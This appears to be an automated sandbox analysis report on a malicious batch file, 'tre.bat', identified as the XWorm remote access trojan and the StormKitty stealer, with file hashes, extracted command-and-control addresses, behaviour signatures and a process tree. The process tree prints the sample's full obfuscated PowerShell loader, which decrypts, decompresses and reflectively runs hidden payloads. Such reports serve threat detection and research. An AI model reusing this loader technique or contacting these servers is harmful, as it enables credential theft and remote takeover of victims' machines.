Analysis
-
max time kernel
596s -
max time network
1139s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
-
submitted
15-09-2024 02:03
General
-
Target
tre.bat
-
Size
186KB
-
MD5
49a0a6fd50d78530a1d0165530bbf452
-
SHA1
d7c0a6fda37c34e19da741946624e33632372f01
-
SHA256
9eb51151389425c487c68c0f293d80fe0c8f894aedcf797fbc37e8bdf4cf1ecf
-
SHA512
1e64aa6cc815dbc537164dec8ef885bdee00e6a02836065c0dadbb440737eb9a1ec361aa6cd9c3c6d8e545a817c554b76b132fd81d4c24089208e8b5c7be1dc1
-
SSDEEP
3072:Y3QUaDntxn+cceixWDdNllmYtUA8HnUe/EEQjnj/2+AZ8E9zl7LWe9hCWANSblHO:IQt+wixAjSYjcEE6j/2+A+2zl7aemM1O
Malware Config
Extracted
xworm
147.185.221.16:40164
147.185.221.20:40164
-
install_file
tmp.exe
Signatures
-
Detect Xworm Payload 2 IoCs
-
StormKitty
StormKitty is an open source info stealer written in C#.
-
StormKitty payload 1 IoCs
-
Xworm
Xworm is a remote access trojan written in C#.
-
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
-
Blocklisted process makes network request 5 IoCs
-
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
-
Executes dropped EXE 1 IoCs
-
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Browser Information Discovery 1 TTPs
Enumerate browser information.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
-
Delays execution with timeout.exe 1 IoCs
-
Modifies registry class 64 IoCs
-
Suspicious behavior: EnumeratesProcesses 9 IoCs
-
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 2 IoCs
-
Suspicious use of SetWindowsHookEx 4 IoCs
-
Suspicious use of WriteProcessMemory 14 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tre.bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EZjs3O/YrRsf+LkoNU2BNTXusVrRTrhZDt/IW5OIKd8='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('0QizlgZdzVSwDxP7nx/ZUg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $TsyGO=New-Object System.IO.MemoryStream(,$param_var); $VvkGv=New-Object System.IO.MemoryStream; $KtTST=New-Object System.IO.Compression.GZipStream($TsyGO, [IO.Compression.CompressionMode]::Decompress); $KtTST.CopyTo($VvkGv); $KtTST.Dispose(); $TsyGO.Dispose(); $VvkGv.Dispose(); $VvkGv.ToArray();}function execute_function($param_var,$param2_var){ $XLGwI=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $qkGHc=$XLGwI.EntryPoint; $qkGHc.Invoke($null, $param2_var);}$kzNdt = 'C:\Users\Admin\AppData\Local\Temp\tre.bat';$host.UI.RawUI.WindowTitle = $kzNdt;$LidIz=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($kzNdt).Split([Environment]::NewLine);foreach ($BOGXT in $LidIz) { if ($BOGXT.StartsWith('IKSBZaKgyIgKWkvfRYxG')) { $WxcLQ=$BOGXT.Substring(20); break; }}$payloads_var=[string[]]$WxcLQ.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp2588.tmp.bat""3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\timeout.exetimeout 34⤵
- Delays execution with timeout.exe
-
-
-
-
C:\Users\Admin\Desktop\Fllenares C# Crypter.exe"C:\Users\Admin\Desktop\Fllenares C# Crypter.exe"1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ro5ia4sg\ro5ia4sg.cmdline"2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESBC03.tmp" "c:\Users\Admin\Desktop\CSC7F1A0E5125444D28738909F8D512B42.TMP"3⤵
- System Location Discovery: System Language Discovery
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1KB
MD5551ab8988cec9d2d3608e137e0b9e0fc
SHA1569c940e5e8cedc8334d8328a20d2278fe592316
SHA25667a11ed6fa16b829fdc9f58bb44763606d815b072fb155910f6f40ed3c66d1c0
SHA51278310d6c81de009dcd24cd06d78d4f1081aa99c7203d6a7a4f2db20fc37dbdf27fb61e3aad1cbc23d0630cd850c8f14ad71e7a5a1027327087c0f39eaf7165d7
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
171B
MD589f1636ab66acd965aacbcde62204dfd
SHA171480a270a20ea3da0c1f314db23d915cbc361ed
SHA256b9790a32f38e2cea4ccb8771e036d781b0823619119dda12d56c6d35fb6e33a0
SHA5123dcc54611b54cc9dd57e87087c7af93ed8758880fbcdb5e6dfb5a48046695b96a4f842697f6ed4335b35e7f62a8ebd4dba7002c207bed7d4e0c6921c33673218
-
Filesize
94KB
MD531db1b4fa11ddeea13ab3e3e5936cc77
SHA10c4cae1357309458a71213648130223af2e49ec6
SHA25681811088fd52aeffd900a20267d87822ec3aad416a0036c5c7a30651394b990b
SHA5123f584eb56842ccdb284aba00bcd67eb96186ff1c68e416e8746a00981ee7c298ba7bf5ed62acecd6cfc4357b408b3ee02fdb614dc68ded7ed63c670f66cd995e
-
Filesize
190KB
MD5dce996b10f35fd4a6cee7687a3b34471
SHA1cd7a8f3f21d8069a23b0af5d361b4535b516030e
SHA256609ea06aa2fce3e8d3896447f91a60eb26b3f4d23e2ba777687a60a92a93696d
SHA512b3340d74db93fe665d217af985c07fd9868ac9fee4c95c0ebf92936f783d946e39fb99271b93d72395f4a312b47c626964b49c92a95d65fc663bfe884d697d02
-
Filesize
1.1MB
MD5b05ac29bf3d5d2d0dbfdfe116ed27242
SHA10c1b03ac0210980b819ebd1ef061e04b22bcf40b
SHA256ed383c09c674efae333d6782ecfa73db943353cb6745930cfe57d80733c760a4
SHA512ca0ab2352c485679edf53a61c62ccc39ec00e7a41fd3f3098fd678b36d9f459333e25ae2f227c419c3938e9bc44a20e43ecd32cbab08ee38f568cc5336f52c90
-
Filesize
69KB
MD5e1fd0338cf1cf299468d6949f2dfe55b
SHA1a6d5bca021c9a3ec19516cd27eb52a7d3b63d548
SHA256e4f43f2ec13419bee814b1c2fd059909b4d69bd3701ecafba5732620700d41c9
SHA51260614160c77053803c2e007502af7e1f8ce82b7f7c68dbf4ead3af4c35619b6139c6b5e74b6516bb7bf14250e0603adb7e7f716d660147d9fce32039ce7bb8ba
-
Filesize
94KB
MD5672c2975b91513c4f2c97e55bc0ef37b
SHA170d4de55012ad3e68696bb1d79ff240c38b0378c
SHA256472d4b535e3f8b4617ca6b0cfd383069df178ce379b7bfebd7be215503779396
SHA5121f171a5284b904316881a64ff5215a699ab4c6527be23f187c1d2c26e4516b9695ccf818b4e4ece1f99429bb25175c574be28fcb335b3f48415b5293ac88f1bd
-
Filesize
255B
MD5de12ff1207f2ab492921589c3ff482ac
SHA1931abd64dd0e71c6e9602065f67f9d43be42003f
SHA2569dd4daadfce47369a1c02f4ee95962fa17c6f4815577fe5b717316855d8ec2c2
SHA5126ac15570e6047bd8abeb3161644171d6af0e8e1a68db22fe6775612f54efc9bddbf598127e381d0a59a23b2066230a03dd24c5d11eba18546ce64855d2d431bd
-
Filesize
1KB
MD53ae1f5d21cbf086cf3e09e4fa50e2e06
SHA1e9aca83231ba7eae0af4d4e88d84fd454b5822b7
SHA256631201a7cd12660088912e5bb1ff22639b3ad57facdf708f508f476ce8f3e40e
SHA5123c88ac13a86cf0424c54f458d51d13aaff0f91f404f4b6f5faa785820a8b720110b557f76b5b7d707493edb9c8e58204c12eca66b83f1ca4808bcdb51707e592
-
Filesize
96KB
-
Filesize
5.2MB
-
Filesize
8KB
-
Filesize
10.8MB
-
Filesize
10.8MB
-
Filesize
10.8MB
-
Filesize
3.3MB
-
Filesize
1.1MB
-
Filesize
704KB
-
Filesize
144KB
-
Filesize
10.8MB
-
Filesize
10.8MB
-
Filesize
136KB
-
Filesize
10.8MB
-
Filesize
10.8MB
-
Filesize
10.8MB
-
Filesize
272KB
-
Filesize
8KB
-
Filesize
472KB
-
Filesize
32KB
-
Filesize
5.6MB
-
Filesize
7.7MB
-
Filesize
4KB
-
Filesize
7.7MB
-
Filesize
40KB
-
Filesize
584KB
-
Filesize
1.1MB
-
Filesize
4KB